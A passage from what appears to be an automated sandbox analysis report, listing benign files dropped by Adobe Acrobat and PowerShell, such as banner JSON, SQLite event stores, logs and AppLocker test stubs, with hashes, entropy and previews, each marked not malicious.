DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317602188967837
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJf8dPeUkwRe9:YvXKXDo/EZc0vTYOGU8Ukee9
MD5:	1CCEFA499C0D73FFEBE682C7FC5A5F15
SHA1:	F1FE00CD9D91A9F9BE623011F37B318BA70515DA
SHA-256:	8D69BE3AC2BC7329966227F42052A8A906E2C54A8BDF9866F5DAEE0122324B8B
SHA-512:	EF372BA4E19690FBE79DE82965BC9B43D1B87DE8CFB31F7C14AC00968D889B9C7C776566175CCBAE327748F6F02ADB9BBC76BA805277AAB5A550417F8AE4AEFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.321612779580345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJfQ1rPeUkwRe9:YvXKXDo/EZc0vTYOGY16Ukee9
MD5:	5D4343633EDE5D230CDF08171168F3DF
SHA1:	3E81C304B4D439623D18900A6FFB072542720761
SHA-256:	99C986DEC508D5E48DA80E31D792471A6C88F22246B1E7FF29404D2F7C345E1B
SHA-512:	BD1881D01C97D142A8C0F253AE54B9B58AC8C319DFB53AEEF8E2C12A12DCF0607464437EB2AE942BDA791D8C9B2D2E022B477A2334127EE5B35A1C71FC73FE0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.327410404980989
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJfFldPeUkwRe9:YvXKXDo/EZc0vTYOGz8Ukee9
MD5:	2AD158D73C48F7CCDD08958DA18BA3F4
SHA1:	88E159BCC03A22CD482380F9D0B4EF54780317F0
SHA-256:	C3DC96C38DBB5A89F2228A15A51D9A9BAB6F34E8D4EC205BD3917369842153B4
SHA-512:	0C51766A38CED7E0BAE0F1D1AC3C4990773A0DCACF4CD97781202BEAB95CC103CDC9C2DA68E0E975EA72088CF365DD3CC4310C66191F73B0EF867E59A5017DE4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.343154991899013
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJfzdPeUkwRe9:YvXKXDo/EZc0vTYOGb8Ukee9
MD5:	96927FEFDD6750D0CC044D014732A222
SHA1:	83FCE9E570882A12AF773038EF8D593909BD2474
SHA-256:	3E88C2D78C82A426C00593C2947BCE600C5C1E60BBFDDF89EF7C7926F9B787F7
SHA-512:	2FE55748F125612A67101AC6E18B36EBE509F3901B0F524E9B48D75FB34D516FF4312FA753DDB30E7ACA2C1EE87B1C9CE947E74555A42CE7F0F163D5883BA4CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323998855096343
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJfYdPeUkwRe9:YvXKXDo/EZc0vTYOGg8Ukee9
MD5:	F5B797F0CD75B0237497E21648ADEB12
SHA1:	1C595EC8E3E72C62875D48EA174535AD238A15BF
SHA-256:	03F33D838BE303E1048AC786E3F511A3E3DC178BC9199D30CB162CDF0567D0AC
SHA-512:	3664329EBC97AA3FD769BC3624CF856F66A56DEDEE8CF1453C7A5DD1646CD2ED0B05AD5D0626324C2D66A672B21F2DD65BE89A50DFC2B66C232E5D95D50685CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.310154041440687
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJf+dPeUkwRe9:YvXKXDo/EZc0vTYOG28Ukee9
MD5:	5640FBBF29A79CA9AD766EFE888880E7
SHA1:	34501CF6D8CB808C9A1FA2D88FD424E67353FD4B
SHA-256:	8FC65B36C85262D6E3911B49E8586931BACE7D083193B8432DBD438F55043FE0
SHA-512:	695CEA01679525469F6724FEEEFCC4D9954AF9B04EE455937FD12F5E2B01636AFB0223B578C0BDF8CFAEFEA2B30D0A72649604FBBB332B9FF1F9A949550A706E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.307381012185351
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJfbPtdPeUkwRe9:YvXKXDo/EZc0vTYOGDV8Ukee9
MD5:	409910938910B8D1D669570AF919ADC2
SHA1:	586B7FCF0431036AE72E2E644A7867C1622D4BE5
SHA-256:	C8B3315C8083CF941CF45D51C4691E16E8C22D6EE911376075E5297035AF4AD3
SHA-512:	FE8244C9A3630D3AE7D226489AC955EAEBE2AD30124091475C5EDAAEE4D627D5EADDE3D3CD137A183268C6DE0FF7C10924C0DCAA7F3AA781CC6BEBD5F73E679C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.312050264203674
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJf21rPeUkwRe9:YvXKXDo/EZc0vTYOG+16Ukee9
MD5:	8863234FD4469BCB5F3C91C31686E8AB
SHA1:	BB23EB0CECCC5A0A4D1EFD1DCD978E9BA43A710A
SHA-256:	976415626654A96EA08E97443F044DEDB15BB13F3C663E5A7DF293A6547E5B0E
SHA-512:	042A23E7CE970DBE7A91445857DBE79F3B5B6BB54C37E46790E10EC3EE0295DC12C14800A58347C7C10E6FEF7B750D6CC71D1606F49ECAFD95B2945F3D4C1A04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668856546405464
Encrypted:	false
SSDEEP:	24:Yv6X0czv07amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSE:YvGCBgkDMUJUAh8cvME
MD5:	0C40A998502A20A6B38FEBB2E3179EB8
SHA1:	0C480693B773C0D694EBCC49EAA8A84889B195A5
SHA-256:	302F017CF000D4CC8905A006C12CB381F40B0026F30F8E31521AEBB1C5707106
SHA-512:	1A9BBD24527BF649E6A6F301D7C8B5539782F7BEC219AF4D329718D0E28264BAE62EB4925594E7120A1CCDED2686228A0A34E6C872A9E09774F5962A7F0769FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.288493821183839
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJfshHHrPeUkwRe9:YvXKXDo/EZc0vTYOGUUUkee9
MD5:	19A6DA7C9FA45371EC9E2D0D2525C76A
SHA1:	703EDFB8CE4ACE0C27B6A029A030D0C8D908CD75
SHA-256:	B2E0EC7F7DC113E33CC0489484513BA7569C6F2234CF37C92E42FC974B37FBEC
SHA-512:	A01415768FA13CE55606D0D9C37F3677DF9440B353BDA4CCDEFDBFC07475DE46C116BC35DB745060553EC4B9BE58C8471DFADB557E23AA0C63D81A2704DFAD83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.293739225536272
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEodCP2O9VoZcg1vRcR0YIYxoAvJTqgFCrPeUkwRe9:YvXKXDo/EZc0vTYOGTq16Ukee9
MD5:	6468C4362343CD72EF17A107220868D2
SHA1:	BCF979E3B64F10FA7AADA3ABE3D9502F5A56C6EC
SHA-256:	5BE14CCFDE91B5A8359E14A7F4B9DE43441A0DD5B065F2BAD4A00D6C8D48658E
SHA-512:	91BCEC85CEF314E6CA164C99672B746892CBF5E93B1D48A1A97256BAE21DFB174B2B47EEC3DBEA46FB5FC9F85785E4EA71F8389F02CB82DC668CEFE59AAED64C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c5234575-f106-47a3-9063-b6852684954d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736751229991,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140822449171674
Encrypted:	false
SSDEEP:	48:YQ9gdw/Z35DHoZETxKLee0g3z1iIhE59VfF:9WSZJcZ2xKLx9hoVd
MD5:	5F72C3D9D84420BAD223A37BFACE69F5
SHA1:	AEA35CE6627BD58F57175569B0AAED7DD4AFAE3C
SHA-256:	2BE20E64A9B2B1AC4202E235BDA767C17C09A298BC6B92A0FCF3DBBDDA7172DC
SHA-512:	320B89B21E072EB5BB2EF9C1D535CE77623E29E61D91FEAF33A62BFE651D6C3009D5DE51295567293EE87FF027DD2975FA9B8C10D8997F71B2443CEA0CFE0B3E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f721f5fe0545025bebeba21ae1f79d17","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736573839000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"91f30921031220e02d74f445ef9ae895","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736573839000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8519958e9ac523d8ae79d0003caa2619","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736573839000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"8e91e30652923a74d53642d00df08ff9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736573839000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0245bbaa0337221b66e890ba2ee1ebf1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736573839000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a365c886f5f1f4bc912b48db00b63b7e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1883466665300604
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUcSvR9H9vxFGiDIAEkGVvpG:lNVmswUUUUUUUUc+FGSIti
MD5:	DD0D7B0E8DE0ADC77FC49794A4CBC00E
SHA1:	CCFB38E8033C7AE6E559544F9D2370A61250CA3B
SHA-256:	4C31AF181DE1C4ED9BB3AEA3D8D75488A522527EEB62A52A22F6EF6EF4AC3150
SHA-512:	3E1F6DBDFF890460E14BD8692147EC85BE1CF7C02350014F4C8494CA0B67A26FBB72B202A3C4D213DBC2984E33900FA4DF544D1E3974C17DE1BAD81CAB1E4455
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6069541077493048
Encrypted:	false
SSDEEP:	48:7MAKUUUUUUUUUUOvR9H9vxFGiDIAEkGVv/qFl2GL7msU:70UUUUUUUUUUyFGSItZKVmsU
MD5:	36088DECC2A2F996FBFCF0B83B53E79A
SHA1:	47690664AA190078F865239134F11E012FD3E5E4
SHA-256:	2C0FF379165A20A52DB095082690FEE8FFFEE2D71175A1DDD34F70A0015E8F20
SHA-512:	E175A606C4688EFD99D48E1EFD0CDF6E82B58AC4F41C6328E1727648E014D29665CC69EDDD12930DFC8DE9C00F440985970A976610B564939A4DD70993953201
Malicious:	false
Preview:	.... .c.....B.p.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgidCT63dSO7ly3GlX+en3bQz9PTYyu:6a6TZ44ADEidC+3d97sKQJTK
MD5:	72144A0110EAD68DFC281913BBE4DC4D
SHA1:	8E74CDA8C4D84F1255853691122EB5D17132EF5C
SHA-256:	A7605C4D8405FDC84D69199188C8D4AA6498E3F4C0368CCBBA0D17F3A7A253F7
SHA-512:	F3564EFE2A1DE42D276D189DB3E405CDB337B44021913E71718A59B170FFDCFD035930299E87B1C926F5FFF82D4BD6617BCD350854F1AF54010852734F804F80
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI31883.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClzKlYH:Qw946cPbiOxDlbYnuRKdjYH
MD5:	A6562B6F4D62200B3E7ABFBA8D550983
SHA1:	A68D8690A39249B3F12ABD5514678B335F21EB4C
SHA-256:	6BC5483E96A02CB1C1C04CD09889CB8DFF3BF72FC740A5B067CC0206032DFC3D
SHA-512:	5A8C931BFB5DE2BBAA88910ED5CF80A51F40973FB38A0853B1B83B76417C551BDFCC40642D4F901379FAAF1378A7A1486E9211562E2AAFB1FF4AF6A26428A081
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.3.7.:.2.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_firog5gq.1uh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o2k4y4w1.mxo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-37-14-660.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.330926958776082
Encrypted:	false
SSDEEP:	384:UX7JVJYJt+/+2+rX+e+c++J+9PqPDkOkskn444E5e5K6V656k6H6v9PTPLPJP9+9:1Zj
MD5:	BDB16AA739FC30D1FEDEEFE0AFFAF548
SHA1:	00435E74A9CC537311FD9A30F69BE9E54114C003
SHA-256:	EDCE1EEEAD7CA09A08CB82530AED1FF81CBA494C0AF17B35C0701DB17905589C
SHA-512:	86153F0C58C90622B045B91FC532600987EB6D5EF7636573BFA1BB1905ED11EA927F0CFC0B5A2C8436857F16400840BFB122D1756221A7A4C3E91D7822F252A6
Malicious:	false
